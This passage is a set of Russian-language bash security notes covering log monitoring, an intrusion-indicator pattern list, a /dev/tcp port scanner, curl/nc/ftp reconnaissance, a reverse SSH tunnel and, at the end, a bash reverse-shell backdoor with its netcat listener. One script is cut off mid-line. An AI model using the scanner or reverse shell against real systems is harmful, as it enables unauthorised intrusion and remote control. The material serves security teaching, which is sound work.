Пример:
cut -d' ' -f1.10 access.log | bash summer.sh | bash histogram.sh

Скрипт отображение данных в виде гистограммы для старых систем и macos:

histogram_plain.sh
#!/bin/bash - 
#
# Описание:
# Создание горизонтальной гистограммы с указанным данными 
# Использование: ./histogram_plain
# Формата ввода: label value
declare -a RA_key RA_val
declare -i max ndx
max=0
maxbar=50
ndx=0
while read labl val
do
   RA_key[$ndx]=$labl
   RA_value[$ndx]=$val
   # сохранить наибольшее значение; для масштабирования
   (( val > max )) && max=$val
   let ndx++
done

# масштабировать и вывести
for ((j=0; j

Мониторинг журналов в режиме реального времени:

 
tail -f /var/log/apache2/access.log
tail -f /var/log/apache2/access.log | grep '10.0.0.152'
tail -f /var/log/apache2/access.log | egrep -i 'HTTP/.*" 404'

cd /var/log/apache2/
tail -f access.log | egrep --line-buffered 'HTTP/.*" 404' | cut -d' ' -f4-7

Обнаружение вторжения с помощью журнала apache2:

 

cat > ioc.txt << "EOF"
\.\./
etc/passwd
etc/shadow
cmd\.exe
/bin/sh
/bin/bash

EOF

../  -злоумышленник пытается выйти из текущего каталога рабочего каталога
/etc/passwd  и другие - пытается получить доступ к паролям системы
/sh  и другое - пытается вызвать программу 

tail -f /var/log/apache2/access.log | egrep -i -f ioc.txt
tail -f /va/log/apache2/access.log | egrep --line-buffered -i -f ioc.txt | tee -a interesting.txt



    

Сканер портов:

cat > scan.sh << "EOF" 
#!/bin/bash -
# Описание:
# Сканирование порта указанного хоста
# Использование:
# ./scan.sh  
#  - файл, куда сохраняется результат
# ./scan.sh save.log 
# 192.168.0.1 - вводим адрес
# ctrl + c 
# cat save.log

function scan()
{
   host=$1
   printf '%s' "$host"
   for ((port=1;port<1024;port++))
   do
     echo >/dev/null 2>&1 < /dev/tcp/${host}/${port}
     if (($? == 0)) ; then printf ' %d' "${port}" ; fi
   done
   echo # или вывести '\n'
}

# основной цикл
printf -v TODAY 'scan_%(%F)T' -1 # например scan_2025-12-30
OUTFILE=${1:-$TODAY}

while read HOSTNAME
do
   scan $HOSTNAME
done > $OUTFILE



EOF

Сравнение файлов:

sdiff  - сравнивает два файла
-a - рассматривать все файлы как текстовые
-i - игнорировать регистр
-s - удалять общие строки для двух файлов
-w - определить максимальное кол-во символов для вывода в троке

sdiff -s file1.txt file2.txt


curl:

curl
-A - для отправки на сервер указать строку агента пользователя HTTP
-d - данные для отправки с запросом HTTP POST
-G - использовать для отправки данных запрос HTTP GET, а не POST
-I - получить только заголовок протокола (HTTP, FTP)
-L - следовать за пере направлениями
-s - не показывать индикатор выполнения или сообщения об ошибках


curl https://google.com

Проверка сокращенной ссылки:
curl -ILs http://bitly.com/1k5eYPw | grep '^Location:'

xxd :

xdd - выводит на экран в двоичном или шестнадцатеричном формате
-b - отобразить файл с использованием двоичного, а не шестнадцатеричного формата
-l - вывести кол-во байт двоичного или шестнадцатеричного файла
-s - начать печать с позиции байта n

xdd -s 35 -l 50 somefile.txt

Разведка:

Просмотр вебсервера:
ftp 
-n - запретить авто вход на сервер
ftp -n 192.168.0.15
ftp 192.168.0.15
ftp 192.168.0.15 60


Просмотр веб сайта:
curl -L -o output.html https://www.oreilly.com
curl -LI https://www.oreilly.com
curl -LIs https://www.oreilly.com | grep '200 OK'

Копирование сайта себе:
wget -p -m -k -P ./mirror https://digadel.com

Самый простой способ перехватить баннер с SMTP сервера:
telnet 192.168.0.15 25



nc :

nc
-l - прослушивать входящие подключения
-n - запретить выполнение поиска dns
-p - задать исходный порт для подключения и прослушивания
-v - установить подробный режим

Подключение:
nc www.oreilly.com 80

Прослушивания:
nc -l -v -n -p 8080


Обратный SSH :

ssh -R 12345:localhost:22 user@remoteip
ssh localhost -p 12345

Бэкдор баш:

/bin/bash -i < /dev/tcp/192.168.0.15/8080 1>&0 2>&0
Здесь:
/bin/bash -i - интерактивный режим баша
< /dev/tcp/192.168.0.15/8080 - Это создает TCP-соединение с системой злоумышленника по адресу 192.168.0.15,
порт 8080 и перенаправляет его в качестве ввода в новой экземпляр баш.
1>&0 2>&0 - здесь происходит перенаправление стандартного вывода (stdout)(файловый дескриптор 1) и стандартного
потока ввода (stdin)(дескриптор файла 0)


В системе злоумышленника должен слушаться порт 8080
nc -l -v -p 8080